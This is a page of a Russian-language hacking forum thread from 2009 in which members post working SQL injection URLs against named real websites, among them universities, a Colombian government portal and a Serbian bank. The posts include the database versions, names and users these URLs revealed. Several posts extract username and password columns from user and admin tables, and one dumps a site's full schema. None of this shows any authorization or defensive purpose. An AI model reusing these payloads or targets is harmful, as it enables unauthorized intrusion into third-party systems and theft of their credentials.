SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,594
    Likes Received:
    1,242
    Reputations:
    273
    http://www.e-lephant.org/Download.php?ID=685+UNION+SELECT+1,database(),3,4,password,6,7,user(),9,10,name,12,13,14,15,16,id,18,19,20,21,22,@@version_compile_os,24,25,26,27,28,29,version(),31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+FROM+users+LIMIT+1,1--


    Database Version: 5.0.51a-log
    Database name: db239698340
    User name: dbo239698340@74.208.16.109
    Os : redhat-linux-gnu
     
    1 person likes this.
  2. Rednoise

    Rednoise New Member

    Joined:
    28 Mar 2007
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Code:
    http://climatecounts.org/scorecardlist.php?c=-13+UNION+SELECT+1,CONCAT_WS(0x3a,Version(),Database(),User()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    5.0.45:climatecounts:climatecounts@localhost
     
  3. Rednoise

    Rednoise New Member

    Joined:
    28 Mar 2007
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Внимание!!! 10000 - ДесятиТысячныйПост в теме Гг

    Code:
    http://www.mysilvercrest.de/de/kategorie.php?k=1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),19,20+LIMIT+1,1/*
    Database Version: 4.0.18-log
    Database name: dbsilvercrest
    User name: heimpel@localhost
     
    #9903 Rednoise, 21 Jun 2009
    Last edited: 21 Jun 2009
  4. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    159
    Likes Received:
    55
    Reputations:
    5
    Code:
    http://postgraduate.udsm.ac.tz/page.php?id=-1'+union+select+1,2,3,4,version(),6,7/*
    Database Version: 5.0.22
    Database name: postgraduate
    User name: postgraduate@localhost
     
  5. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    38
    Likes Received:
    35
    Reputations:
    4
    вывод в титлы
    db151943372:4.0.27-max-log:dbo151943372@74.208.16.158
    ===============================================
    PR 5
    вывод в титлы
    vermontf_vfnDB:4.1.22-standard:vermontf_php@localhost
    ===============================================
    PR 1
    вывод в титлы
    wwwdomo_dujie:4.1.22-standard:wwwdomo_dujie@localhost
    ===============================================
    dmooseco_alphasigs:4.1.22-standard:dmooseco_dmoose@localhost
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    http://www.kbsnepal.com.np/article.php?action=view&id=1'+and+substring(version(),1,1)=5+--+
     
    _________________________
  7. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    HTML:
    http://www.rokent.com/news.php?id=-66+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4--
    
    4.1.22:rokcorp:foneport@localhost
    HTML:
    http://www.spiritgotgame.net/archived_news.php?news_id=-2+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10,11--
    4.0.15-log:spirit_got_game:spiritgotgame@localhost
     
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,594
    Likes Received:
    1,242
    Reputations:
    273
    http://fogel.gl.ciw.edu/news.php?newsid=146+and+substring(version(),1,1)=x


    Version : 3.23.58
     
    2 people like this.
  9. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    175
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.cali.[COLOR=DarkRed]gov[/COLOR].co/corporativo.php?id=1860%27+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11+limit+1,1/*
    version():5.0.26-Max
    database():caligovco
    user():portal@localhost
    __
    Code:
    http://www.rao-ees.edu.ru/index.php?module=dsEnterprises&func=display&catid=2&eid=56+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+limit+1,1/*
    version():4.0.18-log
    database():hr_energo_ru
    user():hrenergo@localhost
    ___
    Code:
    http://www.spsrasd.info/es/detail.php?id=594+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8+limit+1,1
    version():5.0.58
    database():cms
    user():spsrasd@localhost
    ___
    Code:
    http://www.tiemposevero.es/ver-reportaje.php?id=230%27+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13+limit+1,1/*
    version():5.0.45
    database():spainsevereweather
    user():tiemposevero@localhost
    ___
    Code:
    http://www.trailrunning.co.za/events_detail.php?id=179+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15/*
    version():5.0.32-Debian_7etch10
    database():trailrun_db1
    user():trailrun_1@dedi1146.nur4.host-h.net
     
    2 people like this.
  10. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    http://www.canary.edu.np/news_and_notice.php?id=-1'+union+select+1,concat_Ws(0x3a,version(),user(),database()),3,4,5+--+

    5.0.77-community:canarye_db@localhost:canarye_db
     
    _________________________
    1 person likes this.
  11. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    64
    Likes Received:
    57
    Reputations:
    5
    Code:
    http://www.fremontonline.org/menu1.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user,password)+from+mysql.user/*
    
     
    #9911 --StraNger--, 21 Jun 2009
    Last edited by a moderator: 21 Jun 2009
  12. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    964
    Likes Received:
    307
    Reputations:
    51
    Code:
    http://www.emersonprint.com.au/news-details.php?ID=-1+union+select+1,version(),3,4,5,6,7,8/*
    Database Version: 4.1.21-standard
    Database name: emerspr_cms
    User name: emerspr_cms@localhost

    ------------------------------------------------------------------------------------------------------------------------

    Code:
    http://www.ncsa.illinois.edu/AboutUs/People/contact.php?id=-775+union+select+1,version(),3,4,5,6,7,8,9,10--
    Database Version: 5.0.67-log
    Database name: website
    User name: webRead@parrotia.ncsa.uiuc.edu

    Code:
    17 :In database website found table category_list     0 :   ID     1 :   name     2 :   link_name  18 :In database website found table content_list     0 :   ID     1 :   name     2 :   table_name  19 :In database website found table dir_table     0 :   ID     1 :   parent_dir     2 :   name  20 :In database website found table division_content     0 :   ID     1 :   parent_div     2 :   lead     3 :   contact     4 :   short_desc     5 :   long_desc     6 :   name  21 :In database website found table file_table     0 :   ID     1 :   dir_id     2 :   file_name     3 :   file_type     4 :   page_id  22 :In database website found table image_content     0 :   ID     1 :   name     2 :   URL     3 :   ALT  23 :In database website found table links_content_table     0 :   ID     1 :   HREF     2 :   title0     3 :   title1     4 :   title2  24 :In database website found table news_content_table     0 :   ID     1 :   title     2 :   date     3 :   release_date     4 :   storyLink     5 :   short_Blurb     6 :   full_Story     7 :   contact     8 :   location     9 :   category     10 :   storyType     11 :   images     12 :   vid_link  25 :In database website found table page_table     0 :   ID     1 :   name     2 :   title     3 :   navtype     4 :   navBox     5 :   related     6 :   external     7 :   body     8 :   style     9 :   template     10 :   keywords  26 :In database website found table people_content     0 :   ID     1 :   first_name     2 :   last_name     3 :   title     4 :   email     5 :   office     6 :   phone     7 :   division     8 :   description     9 :   client_id  27 :In database website found table people_test     0 :   ID     1 :   first_name     2 :   last_name     3 :   title     4 :   email     5 :   office     6 :   phone     7 :   division     8 :   description     9 :   client_id  28 :In database website found table project_content     0 :   ID     1 :   name     2 :   group     3 :   funding_source     4 :   contact     5 :   lead     6 :   members     7 :   partners     8 :   short_desc     9 :   long_desc  29 :In database website found table pubresearch_content     0 :   ID     1 :   title     2 :   author     3 :   link     4 :   biblio     5 :   category     6 :   date     7 :   publication_citation     8 :   publication_abstract     9 :   date_revised     10 :   publication_grant     11 :   pub_type  30 :In database website found table story_types     0 :   name  
    nothing interesting
     
    #9912 Skofield, 21 Jun 2009
    Last edited: 21 Jun 2009
    1 person likes this.
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    Code:
    http://nuclear-coffee.com/ru/news.php?ID=-35+union+select+1,2,concat_ws(0x3a3a,ID,Link,Name,MainSite,ExampleURL),4+from+websites+--+
    Code:
    http://www.lesducsdangers.fr/news.php?ID=-823+union+select+1,concat_ws(0x3a3a,username,user_password,user_level),3,4,5,6,7+from+forum_users+limit+1,1+--+
    http://www.lesducsdangers.fr/news.php?ID=-823+union+select+1,concat_ws(0x3a3a,user_type,username,user_password,user_email),3,4,5,6,7+from+newforum_users+limit+1,1+--+
    Code:
    http://www.swcrc.com/content.php?id=-43+union+select+1,2,3,4,group_concat(adminuser,char(58),adminpass),6,7,8,9,10,11+from+adminsetting+--+
     
    1 person likes this.
  14. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    180
    Likes Received:
    439
    Reputations:
    313
    [PR 6]
    Code:
    http://www.consulplan.net/noticias/noticia.php?id=-95+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,version(),database(),user()))),6,7,8,9,10,11
    4.1.18-nt-log:consulplan:consulplan_user@localhost
    =================
    [PR 5]
    Code:
    http://www.semanario.pt/seccao.php?id_seccao=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    4.0.16-standard-log:semanario:semanario@localhost
    =================
    [PR 4]
    Code:
    http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15
    5.0.22:tuktuk_web:tuktuk_user2550@localhost
    Code:
    http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15+from+information_schema.tables+where+table_schema!=0x696e666f726d6174696f6e5f736368656d61+and+table_name%3E0x74756b74756b5f6d6f645f70616765696e666f
    http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+table_name=0x74756b74756b5f73797374656d5f75736572
    data from table 'tuktuk_system_user'
    Code:
    http://www.tuk-tuk.com/board/detail.php?id=-77+union+select+1,2,3,4,5,concat_ws(0x3a,tuktuk_system_user_ID,tuktuk_system_user_Name,tuktuk_system_user_Password),7,8,9,10,11,12,13,14,15+from+tuktuk_system_user
    =================
    [PR 4]
    Code:
    http://www.cenertec.pt/cursos.php?id=-80+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
    5.0.81-community:cenertec_site:cenertec_site@localhost
     
    1 person likes this.
  15. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    964
    Likes Received:
    307
    Reputations:
    51
    http://www.stevensgroup.org/page.php?id=-13+union+select+group_concat(username,0x3a,password),2,3+from+users/*

    Database Version: 4.1.22-standard
    Database name: stevensg_msgdb
    User name: stevensg_msgdb@localhost

    --------------------------------------------------------------------------------------------------------------------------

    PR 6

    Code:
    http://www.itr.unisa.edu.au/news/seminardetails.php?id=-549+union+select+1,2,3,4,5,6,7,8/*
    Database Version: 5.0.22
    User name: apache@dmzserver8.itr.unisa.edu.au
     
    #9915 Skofield, 21 Jun 2009
    Last edited: 21 Jun 2009
  16. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    38
    Likes Received:
    35
    Reputations:
    4
    PR 5
    pnc_chapman:4.0.24-log:pnc_chapman@localhost
    =====================================
    PR 4
    systems:5.0.51a-3ubuntu5.4:systems@webhost.ugent.be
    =====================================
    PR 4
    natal_ippa:5.0.45-log:natal_ippa@web11.hosting365.ie
     
  17. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    126
    Likes Received:
    30
    Reputations:
    0
    сербский банк..

    http://www.bankmeridian.com/eng/viewnews1.php?section=99&text_id=366+and+substring(version(),1,1)=3/*

    эх
     
  18. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    266
    Likes Received:
    150
    Reputations:
    28
    http://www.sewmach.com.ua/cat.php?cat=23&art=-114++union+select+1,2,concat(user_login,0x3a,user_passw),4,5,6+from+auth_users

    Database Version: 5.0.67-log
    Database name: sew-mach
    User name: sew-mach@localhost

    Линия красоты

    Code:
    http://www.beauty-line.com.ua/cat.php?nom=cat&firm=-5+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4
    Database Version: 4.1.22
    Database name: gezanne
    User name: gezanne@localhost
     
    #9918 Rubaka, 21 Jun 2009
    Last edited: 21 Jun 2009
    1 person likes this.
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    http://www.moe.com.np/terms.php?id=1'+union+select+1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15+--+

    moecom_moe@localhost
     
    _________________________
    2 people like this.
  20. ciberx

    ciberx New Member

    Joined:
    4 Dec 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://onlinefoto.com.ua/backlinks/links.php?id=3092'

    http://onlinefoto.com.ua/backlinks/links.php?id=3092'+union+select+1,2/*

    БД
    Database Version: 5.0.45-log
    Database name: onlinefoto
    User name: onlinefoto@localhost

    Ток чет с таблицами никак не получается...:((
     
    #9920 ciberx, 21 Jun 2009
    Last edited: 21 Jun 2009
Loading...
Thread Status:
Not open for further replies.